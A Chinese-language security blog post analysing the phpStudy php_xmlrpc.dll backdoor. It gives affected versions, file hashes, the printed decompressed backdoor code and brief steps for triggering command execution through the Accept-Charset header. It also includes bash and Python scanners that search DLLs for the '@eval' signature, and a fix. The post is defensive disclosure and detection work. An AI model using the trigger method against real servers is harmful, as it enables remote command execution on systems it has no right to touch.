注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

[TOC]

0x00 前言简述

描述:Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。

0x01 BackDoor

20190920

影响版本:

1
2
phpstudy 2016 版 = PHP5.4
phpstudy 2018 版 = php-5.2.17 / php-5.4.45

漏洞分析:
通过使用IDA Pro x86分析后门代码存在于\ext\php_xmlrpc.dll模块,用记事本打开此文件查找@eval文件存在@eval(%s('%s'))证明漏洞存在

1
2
3
4
5
6
7
8
9
10
11
# phpStudy 2016 路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

# phpStudy 2018 路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

# 附后门文件MD5值
MD5: 0F7AD38E7A9857523DFBCE4BCE43A9E9
MD5: C339482FD2B233FB0A555B629C0EA5D5

WeiyiGeek.漏洞

WeiyiGeek.漏洞

漏洞复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1.通过php.ini配置文件进行取消注释
extension=php_xmlrpc.dll
extension_dir="c:\phpstudy\php\php-5.4.45\ext"

# 2.字符串中存在@eval字样拼接了一个 @eval(gzuncompress('%s'));的代码,明显是调用gzuncompress方法解密执行某些代码;
# zend_eval_string处执行v42处执行的代码,我们把数据提取出来,并进行处理,并且经过php的gzuncompress解码得到以下:
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
fclose($fp);
}

1
2
3
# 3.burp抓包,构造payload
#注: Accept-Encoding要把gzip, deflate 里逗号后面的空格去掉不然命令执行不成功;
#Accept-Charset 的值就是执行的命令需要进行 base64 编码;
WeiyiGeek.

WeiyiGeek.

检测方式:

  • Linux
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    # check.sh 文件:运行后可以递归检测当前目录下所有dll文件中是否包含木马文件的特征值
    #! /bin/bash
    # author: pcat@chamd5.org
    # http://pcat.cc

    trojan=@eval
    function check_dir(){
    for file in `ls $1`
    do
    f2=$1"/"$file
    if [ -d $f2 ];then
    check_dir $f2
    # just check dll file
    elif [ "${file##*.}"x = "dll"x ];then
    strings $f2 |grep -q $trojan
    if [ $? == 0 ];then
    echo "===" $f2 "===="
    strings $f2 |grep $trojan
    fi
    fi
    done
    }
    # . stand for current directory
    check_dir .
  • Windows:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    # pcheck.py文件,代码模拟了strings和grep命令
    # -*- coding:utf8 -*-
    __author__='pcat@chamd5.org'
    __blog__='http://pcat.cc'

    import os
    import string
    import re

    def strings(file) :
    chars = string.printable[:94]
    shortestReturnChar = 4
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file, 'rb') as f:
    return pattern.findall(f.read())

    def grep(lines,pattern):
    for line in lines:
    if pattern in line:
    yield line

    def pcheck(filename):
    # trojan feature
    trojan='@eval'
    # just check dll file
    if filename.endswith('.dll'):
    lines=strings(filename)
    try:
    grep(lines,trojan).next()
    except:
    return
    print '=== {0} ==='.format(filename)
    for line in grep(lines,trojan):
    print line
    pass

    def foo():
    # . stand for current directory
    for path, dirs, files in os.walk(".", topdown=False):
    for name in files:
    pcheck(os.path.join(path, name))
    for name in dirs:
    pcheck(os.path.join(path, name))
    pass

    if __name__ == '__main__':
    foo()

修复方法:
1) 可以从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_xmlrpc.dll